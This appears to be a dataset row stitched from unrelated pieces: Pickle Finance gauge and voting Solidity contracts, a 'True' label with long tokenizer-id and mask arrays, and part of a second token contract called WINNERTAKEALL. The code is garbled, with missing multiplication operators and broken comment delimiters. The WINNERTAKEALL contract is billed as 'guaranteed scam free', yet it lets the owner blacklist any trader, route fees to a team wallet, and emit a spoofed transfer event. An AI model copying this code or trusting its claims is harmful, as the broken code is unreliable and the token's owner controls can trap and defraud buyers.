storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } contract Gauge is ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 public constant PICKLE = IERC20(0x429881672B9AE42b8EbA0E26cD9C73711b891Ca5); IERC20 public constant DILL = IERC20(0xbBCf169eE191A1Ba7371F30A1C344bFC498b29Cf); address public constant TREASURY = address(0x066419EaEf5DE53cc5da0d8702b990c5bc7D1AB3); IERC20 public immutable TOKEN; address public immutable DISTRIBUTION; uint256 public constant DURATION = 7 days; uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; modifier onlyDistribution() { require(msg.sender == DISTRIBUTION, "Caller is not RewardsDistribution contract"); _; } mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; uint256 private _totalSupply; uint public derivedSupply; mapping(address => uint256) private _balances; mapping(address => uint256) public derivedBalances; mapping(address => uint) private _base; constructor(address _token) public { TOKEN = IERC20(_token); DISTRIBUTION = msg.sender; } function totalSupply() external view returns (uint256) { return _totalSupply; } function balanceOf(address account) external view returns (uint256) { return _balances[account]; } function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view returns (uint256) { if (_totalSupply == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRate).mul(1e18).div(derivedSupply) ); } function derivedBalance(address account) public view returns (uint) { uint _balance = _balances[account]; uint _derived = _balance.mul(40).div(100); uint _adjusted = (_totalSupply.mul(DILL.balanceOf(account)).div(DILL.totalSupply())).mul(60).div(100); return Math.min(_derived.add(_adjusted), _balance); } function kick(address account) public { uint _derivedBalance = derivedBalances[account]; derivedSupply = derivedSupply.sub(_derivedBalance); _derivedBalance = derivedBalance(account); derivedBalances[account] = _derivedBalance; derivedSupply = derivedSupply.add(_derivedBalance); } function earned(address account) public view returns (uint256) { return derivedBalances[account].mul(rewardPerToken().sub(userRewardPerTokenPaid[account])).div(1e18).add(rewards[account]); } function getRewardForDuration() external view returns (uint256) { return rewardRate.mul(DURATION); } function depositAll() external { _deposit(TOKEN.balanceOf(msg.sender), msg.sender); } function deposit(uint256 amount) external { _deposit(amount, msg.sender); } function depositFor(uint256 amount, address account) external { _deposit(amount, account); } function _deposit(uint amount, address account) internal nonReentrant updateReward(account) { require(amount > 0, "Cannot stake 0"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Staked(account, amount); TOKEN.safeTransferFrom(account, address(this), amount); } function withdrawAll() external { _withdraw(_balances[msg.sender]); } function withdraw(uint256 amount) external { _withdraw(amount); } function _withdraw(uint amount) internal nonReentrant updateReward(msg.sender) { require(amount > 0, "Cannot withdraw 0"); _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); TOKEN.safeTransfer(msg.sender, amount); emit Withdrawn(msg.sender, amount); } function getReward() public nonReentrant updateReward(msg.sender) { uint256 reward = rewards[msg.sender]; if (reward > 0) { rewards[msg.sender] = 0; PICKLE.safeTransfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); } } function exit() external { _withdraw(_balances[msg.sender]); getReward(); } function notifyRewardAmount(uint256 reward) external onlyDistribution updateReward(address(0)) { PICKLE.safeTransferFrom(DISTRIBUTION, address(this), reward); if (block.timestamp >= periodFinish) { rewardRate = reward.div(DURATION); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(DURATION); } // Ensure the provided reward amount is not more than the balance in the contract. // This keeps the reward rate in the right range, preventing overflows due to // very high values of rewardRate in the earned and rewardsPerToken functions; // Reward + leftover must be less than 2^256 / 10^18 to avoid overflow. uint balance = PICKLE.balanceOf(address(this)); require(rewardRate <= balance.div(DURATION), "Provided reward too high"); lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(DURATION); emit RewardAdded(reward); } modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; if (account != address(0)) { kick(account); } } event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); } interface MasterChef { function deposit(uint, uint) external; function withdraw(uint, uint) external; function userInfo(uint, address) external view returns (uint, uint); } contract ProtocolGovernance { /// @notice governance address for the governance contract address public governance; address public pendingGovernance; /* * @notice Allows governance to change governance (for future upgradability) * @param _governance new governance address to set / function setGovernance(address _governance) external { require(msg.sender == governance, "setGovernance: !gov"); pendingGovernance = _governance; } /* * @notice Allows pendingGovernance to accept their role as governance (protection pattern) / function acceptGovernance() external { require(msg.sender == pendingGovernance, "acceptGovernance: !pendingGov"); governance = pendingGovernance; } } contract MasterDill { using SafeMath for uint; /// @notice EIP-20 token name for this token string public constant name = "Master DILL"; /// @notice EIP-20 token symbol for this token string public constant symbol = "mDILL"; /// @notice EIP-20 token decimals for this token uint8 public constant decimals = 18; /// @notice Total number of tokens in circulation uint public totalSupply = 1e18; mapping (address => mapping (address => uint)) internal allowances; mapping (address => uint) internal balances; /// @notice The standard EIP-20 transfer event event Transfer(address indexed from, address indexed to, uint amount); /// @notice The standard EIP-20 approval event event Approval(address indexed owner, address indexed spender, uint amount); constructor() public { balances[msg.sender] = 1e18; emit Transfer(address(0x0), msg.sender, 1e18); } /* * @notice Get the number of tokens `spender` is approved to spend on behalf of `account` * @param account The address of the account holding the funds * @param spender The address of the account spending the funds * @return The number of tokens approved / function allowance(address account, address spender) external view returns (uint) { return allowances[account][spender]; } /* * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved (2^256-1 means infinite) * @return Whether or not the approval succeeded / function approve(address spender, uint amount) external returns (bool) { allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /* * @notice Get the number of tokens held by the `account` * @param account The address of the account to get the balance of * @return The number of tokens held / function balanceOf(address account) external view returns (uint) { return balances[account]; } /* * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded / function transfer(address dst, uint amount) external returns (bool) { _transferTokens(msg.sender, dst, amount); return true; } /* * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded / function transferFrom(address src, address dst, uint amount) external returns (bool) { address spender = msg.sender; uint spenderAllowance = allowances[src][spender]; if (spender != src && spenderAllowance != uint(-1)) { uint newAllowance = spenderAllowance.sub(amount, "transferFrom: exceeds spender allowance"); allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } function _transferTokens(address src, address dst, uint amount) internal { require(src != address(0), "_transferTokens: zero address"); require(dst != address(0), "_transferTokens: zero address"); balances[src] = balances[src].sub(amount, "_transferTokens: exceeds balance"); balances[dst] = balances[dst].add(amount, "_transferTokens: overflows"); emit Transfer(src, dst, amount); } } contract GaugeProxy is ProtocolGovernance { using SafeMath for uint256; using SafeERC20 for IERC20; MasterChef public constant MASTER = MasterChef(0xbD17B1ce622d73bD438b9E658acA5996dc394b0d); IERC20 public constant DILL = IERC20(0xbBCf169eE191A1Ba7371F30A1C344bFC498b29Cf); IERC20 public constant PICKLE = IERC20(0x429881672B9AE42b8EbA0E26cD9C73711b891Ca5); IERC20 public immutable TOKEN; uint public pid; uint public totalWeight; address[] internal _tokens; mapping(address => address) public gauges; // token => gauge mapping(address => uint) public weights; // token => weight mapping(address => mapping(address => uint)) public votes; // msg.sender => votes mapping(address => address[]) public tokenVote;// msg.sender => token mapping(address => uint) public usedWeights; // msg.sender => total voting weight of user function tokens() external view returns (address[] memory) { return _tokens; } function getGauge(address _token) external view returns (address) { return gauges[_token]; } constructor() public { TOKEN = IERC20(address(new MasterDill())); governance = msg.sender; } // Reset votes to 0 function reset() external { _reset(msg.sender); } // Reset votes to 0 function _reset(address _owner) internal { address[] storage _tokenVote = tokenVote[_owner]; uint256 _tokenVoteCnt = _tokenVote.length; for (uint i = 0; i < _tokenVoteCnt; i ++) { address _token = _tokenVote[i]; uint _votes = votes[_owner][_token]; if (_votes > 0) { totalWeight = totalWeight.sub(_votes); weights[_token] = weights[_token].sub(_votes); votes[_owner][_token] = 0; } } delete tokenVote[_owner]; } // Adjusts _owner's votes according to latest _owner's DILL balance function poke(address _owner) public { address[] memory _tokenVote = tokenVote[_owner]; uint256 _tokenCnt = _tokenVote.length; uint256[] memory _weights = new uint[](_tokenCnt); uint256 _prevUsedWeight = usedWeights[_owner]; uint256 _weight = DILL.balanceOf(_owner); for (uint256 i = 0; i < _tokenCnt; i ++) { uint256 _prevWeight = votes[_owner][_tokenVote[i]]; _weights[i] = _prevWeight.mul(_weight).div(_prevUsedWeight); } _vote(_owner, _tokenVote, _weights); } function _vote(address _owner, address[] memory _tokenVote, uint256[] memory _weights) internal { // _weights[i] = percentage 100 _reset(_owner); uint256 _tokenCnt = _tokenVote.length; uint256 _weight = DILL.balanceOf(_owner); uint256 _totalVoteWeight = 0; uint256 _usedWeight = 0; for (uint256 i = 0; i < _tokenCnt; i ++) { _totalVoteWeight = _totalVoteWeight.add(_weights[i]); } for (uint256 i = 0; i < _tokenCnt; i ++) { address _token = _tokenVote[i]; address _gauge = gauges[_token]; uint256 _tokenWeight = _weights[i].mul(_weight).div(_totalVoteWeight); if (_gauge != address(0x0)) { _usedWeight = _usedWeight.add(_tokenWeight); totalWeight = totalWeight.add(_tokenWeight); weights[_token] = weights[_token].add(_tokenWeight); tokenVote[_owner].push(_token); votes[_owner][_token] = _tokenWeight; } } usedWeights[_owner] = _usedWeight; } // Vote with DILL on a gauge function vote(address[] calldata _tokenVote, uint256[] calldata _weights) external { require(_tokenVote.length == _weights.length); _vote(msg.sender, _tokenVote, _weights); } // Add new token gauge function addGauge(address _token) external { require(msg.sender == governance, "!gov"); require(gauges[_token] == address(0x0), "exists"); gauges[_token] = address(new Gauge(_token)); _tokens.push(_token); } // Sets MasterChef PID function setPID(uint _pid) external { require(msg.sender == governance, "!gov"); require(pid == 0, "pid has already been set"); require(_pid > 0, "invalid pid"); pid = _pid; } // Deposits mDILL into MasterChef function deposit() public { require(pid > 0, "pid not initialized"); IERC20 _token = TOKEN; uint _balance = _token.balanceOf(address(this)); _token.safeApprove(address(MASTER), 0); _token.safeApprove(address(MASTER), _balance); MASTER.deposit(pid, _balance); } // Fetches Pickle function collect() public { (uint _locked,) = MASTER.userInfo(pid, address(this)); MASTER.withdraw(pid, _locked); deposit(); } function length() external view returns (uint) { return _tokens.length; } function distribute() external { collect(); uint _balance = PICKLE.balanceOf(address(this)); if (_balance > 0 && totalWeight > 0) { for (uint i = 0; i < _tokens.length; i++) { address _token = _tokens[i]; address _gauge = gauges[_token]; uint _reward = _balance.mul(weights[_token]).div(totalWeight); if (_reward > 0) { PICKLE.safeApprove(_gauge, 0); PICKLE.safeApprove(_gauge, _reward); Gauge(_gauge).notifyRewardAmount(_reward); } } } } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 2340, 1011, 2459, 1008, 1013, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5641, 1011, 2538, 1008, 1013, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5511, 1011, 2539, 1008, 1013, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5511, 1011, 5511, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1021, 1025, 1013, 1013, 1034, 1014, 1012, 1021, 1012, 1019, 1025, 3075, 3647, 18900, 2232, 1063, 3853, 5587, 1006, 21318, 3372, 1037, 1010, 21318, 3372, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 1007, 1063, 21318, 3372, 1039, 1027, 1037, 1009, 1038, 1025, 5478, 1006, 1039, 1028, 1027, 1037, 1010, 1000, 5587, 1024, 1009, 1000, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 5587, 1006, 21318, 3372, 1037, 1010, 21318, 3372, 1038, 1010, 5164, 3638, 7561, 7834, 3736, 3351, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 1007, 1063, 21318, 3372, 1039, 1027, 1037, 1009, 1038, 1025, 5478, 1006, 1039, 1028, 1027, 1037, 1010, 7561, 7834, 3736, 3351, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 4942, 1006, 21318, 3372, 1037, 1010, 21318, 3372, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 1007, 1063, 2709, 4942, 1006, 1037, 1010, 1038, 1010, 1000, 4942, 1024, 1011, 1000, 1007, 1025, 1065, 3853, 4942, 1006, 21318, 3372, 1037, 1010, 21318, 3372, 1038, 1010, 5164, 3638, 7561, 7834, 3736, 3351, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 1007, 1063, 5478, 1006, 1038, 1026, 1027, 1037, 1010, 7561, 7834, 3736, 3351, 1007, 1025, 21318, 3372, 1039, 1027, 1037, 1011, 1038, 1025, 2709, 1039, 1025, 1065, 3853, 14163, 2140, 1006, 21318, 3372, 1037, 1010, 21318, 3372, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 1007, 1063, 1013, 1013, 3806, 20600, 1024, 2023, 2003, 16269, 2084, 9034, 1005, 1037, 1005, 2025, 2108, 5717, 1010, 2021, 1996, 1013, 1013, 5770, 2003, 2439, 2065, 1005, 1038, 1005, 2003, 2036, 7718, 1012, 1013, 1013, 2156, 1024, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 2330, 4371, 27877, 2378, 1013, 2330, 4371, 27877, 2378, 1011, 8311, 1013, 4139, 1013, 4720, 2475, 2065, 1006, 1037, 1027, 1027, 1014, 1007, 1063, 2709, 1014, 1025, 1065, 21318, 3372, 1039, 1027, 1037, 1008, 1038, 1025, 5478, 1006, 1039, 1013, 1037, 1027, 1027, 1038, 1010, 1000, 14163, 2140, 1024, 1008, 1000, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 14163, 2140, 1006, 21318, 3372, 1037, 1010, 21318, 3372, 1038, 1010, 5164, 3638, 7561, 7834, 3736, 3351, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 1007, 1063, 2065, 1006, 1037, 1027, 1027, 1014, 1007, 1063, 2709, 1014, 1025, 1065, 21318, 3372, 1039, 1027, 1037, 1008, 1038, 1025, 5478, 1006, 1039, 1013, 1037, 1027, 1027, 1038, 1010, 7561, 7834, 3736, 3351, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 4487, 2615, 1006, 21318, 3372, 1037, 1010, 21318, 3372, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 1007, 1063, 2709, 4487, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
/** Submitted for verification at Etherscan.io on 2022-04-14 / // SPDX-License-Identifier: UNLICENSED /*WINNERTAKEALL is a token proudly launched by PROJECT52.net Project52.net is a Blockchain project house, developing and implementing blockchain projects. Our Phase 1 launch includes the listing of a variety of crypto tokens over the coming months which are designed to be trade by crypto day traders. Our tokens and projects are guaranteed scam free - no liquidity drains, no rug pulls, no honey pots. Our tokens are intended to be fair environments for traders to speculate and make some money - afterall we are traders too! #MOONSHOT! Join us, for multiple chances to trade and earn! ╔════════════════════════════════════════════════════════════════════════════════════╗ ║ ███ ███ ████ ████ ████ ████ █████ █████ ██ ██ █ ████ █████ ║ ║ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ ║ ║ ███ ███ █ █ █ ███ █ █ ████ █ █ █ █ ███ █ ║ ║ █ █ █ █ █ █ █ █ █ █ █ █ █ ██ █ █ ║ ║ █ █ █ ████ ████ ████ ████ █ ████ █████ █ █ █ ████ █ ║ ╚════════════════════════════════════════════════════════════════════════════════════╝ ░░░░░░░░░░░░░░░░░░░░░░░░░░WINNERTAKEALL░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ WINNERTAKEALL RULES The winning price ceiling is set at 0.00013000. The wallet that cross this line with a buy order first, takes the prize pool. Prize pool is made up from buy fees and is set at 10%. Winner will be verified by the BUY price as noted on the DEXTOOLS.IO pair. After the prize has been claimed, the token will be liquidated 48 hours after the winning transaction. Remember this is a game of strategy - use your buys/sells to outmanouver your competitors. - Telegram: https://t.me/+Xg-B5IU2leQzYjZk - Website: https://Project52.net / pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract WINNERTAKEALL is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10*18; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "WINNERTAKEALL"; string private constant _symbol = "WINNERTAKEALL"; uint8 private constant _decimals = 18; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0xB630A3b60a71Ba480ADd4bDD94B4B3933aCcF78b); _feeAddrWallet2 = payable(0xF6F1701ecF6b7EECbAfeD15606324c5d035149E5); _buyTax = 10; _sellTax = 15; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0xF6F1701ecF6b7EECbAfeD15606324c5d035149E5), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = _buyTax; _feeAddr2 = 0; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (0 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet2.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 200000000 10*18; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function getBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 200000000 10**18) { _maxTxAmount = maxTxAmount; } } function setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 2) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 